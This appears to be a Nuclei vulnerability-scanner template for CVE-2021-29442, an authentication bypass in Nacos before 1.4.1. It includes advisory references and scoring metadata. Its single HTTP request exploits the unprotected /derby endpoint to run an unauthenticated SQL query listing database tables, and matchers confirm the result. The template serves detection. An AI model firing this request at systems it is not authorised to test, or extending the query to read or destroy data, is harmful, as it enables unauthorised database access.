id: CVE-2021-29442

info:
  name: Nacos <1.4.1 - Authentication Bypass
  author: dwisiswant0
  severity: high
  description: |
    Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
    - https://github.com/alibaba/nacos/issues/4463
    - https://github.com/alibaba/nacos/pull/4517
    - https://github.com/advisories/GHSA-36hp-jr8h-556f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-29442
    cwe-id: CWE-306
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
    epss-score: 0.97158
  tags: nacos,auth-bypass,cve,cve2021
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/json"
        part: header
      - type: regex
        regex:
          - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
        part: body

# Enhanced by mp on 2022/07/15